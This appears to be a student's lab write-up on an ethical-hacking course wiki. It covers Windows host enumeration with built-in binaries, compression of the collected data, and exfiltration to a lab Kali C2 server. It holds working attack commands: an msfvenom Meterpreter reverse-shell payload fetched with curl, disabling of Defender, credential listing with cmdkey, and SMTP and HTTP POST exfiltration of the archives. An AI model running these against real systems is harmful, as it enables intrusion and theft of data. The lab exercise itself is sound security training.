Week 4 Lab 3 Data Staging and Exfiltration - elijah-gronlund/SEC-335-01-Eth-Hacking-Pen-Testing GitHub Wiki

Goal

Use Living Off the Land Binaries (LOLBins) to enumerate host information and collect data
Compress collected data using multiple Windows-native and third-party tools
Establish a reverse shell and exfiltrate compressed archives via Meterpreter
Decompress archives on the c2 server and verify data integrity
Exfiltrate data using non-standard protocols (ICMP, DNS, SMTP) to evade detection
Document each technique with screenshots and explain its value to an attacker

Prerequisites

Download the command-line version of 7-Zip to your Windows VM
Use the native Windows version of the tar command
Read the documentation for PowerShell's Compress-Archive cmdlet
Read how to use makecab to create compressed files
Read how to decompress each of the compressed file types you create

Task 1

#	Command	Description
1	`whoami /all`	Current user, groups, and privileges
2	`tasklist /v`	Running processes
3	`netstat -ano`	Open network sockets and connections
4	`sc.exe query`	Running services
5	`net user`	All local user accounts
6	`net localgroup`	All local groups
7	`net localgroup Administrators`	Users in the Administrators group
8	`ipconfig /all`	Network configuration (IP, gateway, DNS)
9	`netsh advfirewall firewall show rule name=all`	Firewall policies
10	`arp -a`	ARP table
11	`net session`	SMB sessions
12	`systeminfo`	System information

Redirection Script for

whoami /all > C:\temp\01_groups_and_privileges.txt
tasklist /v > C:\temp\02_running_processes.txt
netstat -ano > C:\temp\03_net_connections.txt
sc.exe query > C:\temp\04_running_services.txt
net user > C:\temp\05_local_users.txt
net localgroup > C:\temp\06_local_groups.txt
net localgroup Administrators > C:\temp\07_admins.txt
ipconfig /all > C:\temp\08_net_configurations.txt
netsh advfirewall firewall show rule name=all > C:\temp\09_firewall_policies.txt
arp -a > C:\temp\10_arp_table.txt
net session > C:\temp\11_smb_sessions.txt
systeminfo > C:\temp\12_system_info.txt

Script from Jack Brooks

After creating script in C:\temp and executing it here is what we are left with

Command 1 Users Groups Privileges

whoami /all > C:\temp\01_groups_and_privileges.txt

Command 2 Running processes

tasklist /v > C:\temp\02_running_processes.txt

Command 3 Net Connections

netstat -ano > C:\temp\03_net_connections.txt

Command 4 Running Services

sc.exe query > C:\temp\04_running_services.txt

Command 5 All Local User Accounts

net user > C:\temp\05_local_users.txt

Command 6 All Local Groups

net localgroup > C:\temp\06_local_groups.txt

Command 7 Administrators Group

net localgroup Administrators > C:\temp\07_admins.txt

Command 8 Network Configuration (IP, Gateway, DNS)

ipconfig /all > C:\temp\08_net_configurations.txt

Command 9 Firewall Policies

netsh advfirewall firewall show rule name=all > C:\temp\09_firewall_policies.txt

Command 10 ARP Table

arp -a > C:\temp\10_arp_table.txt

Command 11 SMB Sessions net session > C:\temp\11_smb_sessions.txt

Command 12 Systeminformation systeminfo > C:\temp\12_system_info.txt

Additional LOLBins

LOLBins: nslookup.exe

Command: nslookup websiite.com
Description: This is a LOLBin that allows the threat actor find out DNS resolution information reveling DNS server that is being used
Attackers use This can be sued by an attacker in order to find out the internal DNS server that is currently being used by there target

LOLBins: schtasks

Command: schtasks /query /fo LIST /v
Description: This command gives full details on all scheduled tasks including there name who is running them and what permissions it is being triggered at as well as data and time and action.
Attackers use: Scheduled tasks can be used for a multitude of things and they are often ran with elevated privileges in order to fulfil there tasks. The use of this LOLBins is that and attacker is able to look for a task that they can exploit in order for them to hijack it and then use it for privilege escalation or a persistence that can blend in with normal windows activity.

LOLBins: cmdkey

Command: cmdkey /list > C:\temp\13_cmdkey_credentials.txt 2>&1
Description: This is a command that allows the attacker to pull stored windows credentials such as accounts and saved network information and passwords stored in windows credential manager
Attackers use: This allows the attacker to find out cached credentials as well as machines or servers that they can then use in order to escalate there privilege or move laterally across the network without causing any alerts

LOLBins: net.exe

Command: net view /domain
Description: this command lists other computers in the domain and other shared resources that they can access on a specific hosts
Attackers use: This identifies machines that the attacker can try and attack or gain access to, It also gives them an idea of what SMB are on the machines in order for them to get potentially confidential information from

LOLBins: where.exe

Command: where.exe notepad
Description: This is a simple but powerful LOLBins it looks for all text files that are currently on a system
Attackers use: an attacker could use this in order to search for senative information such as passwords configs or keys

Compressing and archiving

PreReq: Run `mkdir c:\temp\archives`

7-zip

Command & "C:\Tools\7zip\x64\7za.exe" a -tzip C:\temp\archives\enum_out_7z.zip C:\temp\*.txt

Compress-Archive

Command: Compress-Archive -Path C:\temp\*.txt -DestinationPath C:\temp\archives\enum_out_pscompress.zip

makecab

Create a .ddf file to compress all the files together instead of doing each one individually:

; enum.ddf
.OPTION EXPLICIT
.Set CabinetNameTemplate=enum_output.cab
.Set DiskDirectoryTemplate=C:\temp\archives
.Set CompressionType=MSZIP
.Set Cabinet=on
.Set MaxDiskSize=0
C:\temp\01_groups_and_privileges.txt
C:\temp\02_running_processes.txt
C:\temp\03_net_connections.txt
C:\temp\04_running_services.txt
C:\temp\05_local_users.txt
C:\temp\06_local_groups.txt
C:\temp\07_admins.txt
C:\temp\08_net_configurations.txt
C:\temp\09_firewall_policies.txt
C:\temp\10_arp_table.txt
C:\temp\11_smb_sessions.txt
C:\temp\12_system_info.txt

Once this is made save it as enum.dd
Run `makecab /f C:\temp\enum.ddf

All Archives

Task 2 Exfiltration Via C2 Channel

Reverse Shell Setup

Create a meterpreter payload for windows VM

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.41 LPORT=5555 -f exe > exfil.exe

# open a channel to curl through
python3 -m http.server 8000

On windows Disable defender and curl the payload

curl.exe http://10.0.17.41:8000/exfil.exe -o exfil.exe

Set-MpPreference -DisableRealtimeMonitoring $true

Start a listiner on Kali C2 Server

# open msfvenom console with sudo
sudo msfconsole -q

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.41
set LPORT 5555
set ExitOnSession false

exploit -j

Run the payload on window in order to start a session on Meterpreter

.\exfil.exe

Enter the new session on kali

sessions -1 
sessions -i 1

Part B: File Exfiltration

Use the following command in the session in order to download the archive from C:\temp\

# double backslashes because meterpreter interprets "\" as an escape character
download -r C:\\temp\\archives /home/champuser/Desktop/

Verify on another terminal on kali that the files transferred to your Kali server

ls -la ~/Desktop/

Screenshot of extracted archives:

Make destination folders:

mkdir -p ~/Desktop/tar_output ~/Desktop/7z_output ~/Desktop/pscompress_output ~/Desktop/cab_output

Decompress archives on Kali:

cd ~/Desktop
unzip enum_out_7z.zip -d ~/Desktop/7z_output/
unzip enum_out_pscompress.zip -d ~/Desktop/pscompress_output/
cabextract enum_output.cab -d ~/Desktop/cab_output/
tar -xzvf enum_out.tar.gz -C ~/Desktop/tar_output/

video showing decompression and intact files:

Video

Questions

Which archive format produced the smallest file?

7z then cab tar and last regular zip Which compression tool was easiest to use? Makecab was the hardest I think the easiest was regular 7zip

Task 4 None standard protocol Execution

SMTP

Attackers can use this as a way to exfiltrate data that has already been collected. It can also be used as an initial access point to drop malware or create persistence.
Done on Kali

sudo apt update 
sudo apt install python3-aiosmtpd -y

import asyncio
from aiosmtpd.controller import Controller
from email import message_from_bytes
import os

SAVE_DIR = "/home/champuser/Desktop/smtp_exfil/"
os.makedirs(SAVE_DIR, exist_ok=True)

class AttachmentHandler:
    async def handle_DATA(self, server, session, envelope):
        msg = message_from_bytes(envelope.content)
        for part in msg.walk():
            if part.get_content_disposition() == 'attachment':
                filename = part.get_filename()
                data = part.get_payload(decode=True)
                filepath = os.path.join(SAVE_DIR, filename)
                with open(filepath, 'wb') as f:
                    f.write(data)
                print(f"Saved: {filepath} ({len(data)} bytes)")
        return '250 OK'

controller = Controller(AttachmentHandler(), hostname='0.0.0.0', port=25)
controller.start()
print(f"SMTP server running, saving to {SAVE_DIR}")
input("Press Enter to stop...\n")
controller.stop()

then start the listener

python3 /home/champuser/Desktop/smtp_receiver.py

On Windows, send the attachments using Powershell's Send-MailMessage

Send-MailMessage -From "[email protected]" -To "[email protected]" -Subject "Exfiltrated Archives" -Body "All files attached" -Attachments "C:\temp\archives\enum_out.tar.gz","C:\temp\archives\enum_out_7z.zip","C:\temp\archives\enum_out_pscompress.zip","C:\temp\archives\enum_output.cab" -SmtpServer 10.0.17.39 -Port 25

Video

HTTP

Attackers use POST requests, these are built in to send data from one place to another usually a client to a server.

These are ways that we can exfiltrate across HTTP, I choose to work with upload server this is python based and uses windows PowerShell

First on Kali we need to download and run our upload server:

sudo apt update && sudo apt install pipx -y
pipx install uploadserver
cd ~/Desktop
uploadserver 8080

On Windows POST the fiels using Powershell:

curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\temp\archives\enum_out.tar.gz"
curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\temp\archives\enum_out_7z.zip"
curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\temp\archives\enum_out_pscompress.zip"
curl.exe -X POST http://10.0.17.39:8080/upload -F "files=@C:\temp\archives\enum_output.cab"

Then on our Kali box verify that all the files land in the proper directory where you launched uploadserver from (Desktop)

Week 4 Lab 3 Data Staging and Exfiltration - elijah-gronlund/SEC-335-01-Eth-Hacking-Pen-Testing GitHub Wiki

Goal

Prerequisites

Task 1

Command 1 Users Groups Privileges

Command 2 Running processes

Command 3 Net Connections

Command 4 Running Services

Command 5 All Local User Accounts

Command 6 All Local Groups

Command 7 Administrators Group

Command 8 Network Configuration (IP, Gateway, DNS)

Command 9 Firewall Policies

Command 10 ARP Table

Additional LOLBins

Compressing and archiving

PreReq: Run mkdir c:\temp\archives

7-zip

Compress-Archive

makecab

All Archives

Task 2 Exfiltration Via C2 Channel

Reverse Shell Setup

Part B: File Exfiltration

Make destination folders:

Decompress archives on Kali:

video showing decompression and intact files:

Video

Questions

Task 4 None standard protocol Execution

SMTP

Video

HTTP

video

PreReq: Run `mkdir c:\temp\archives`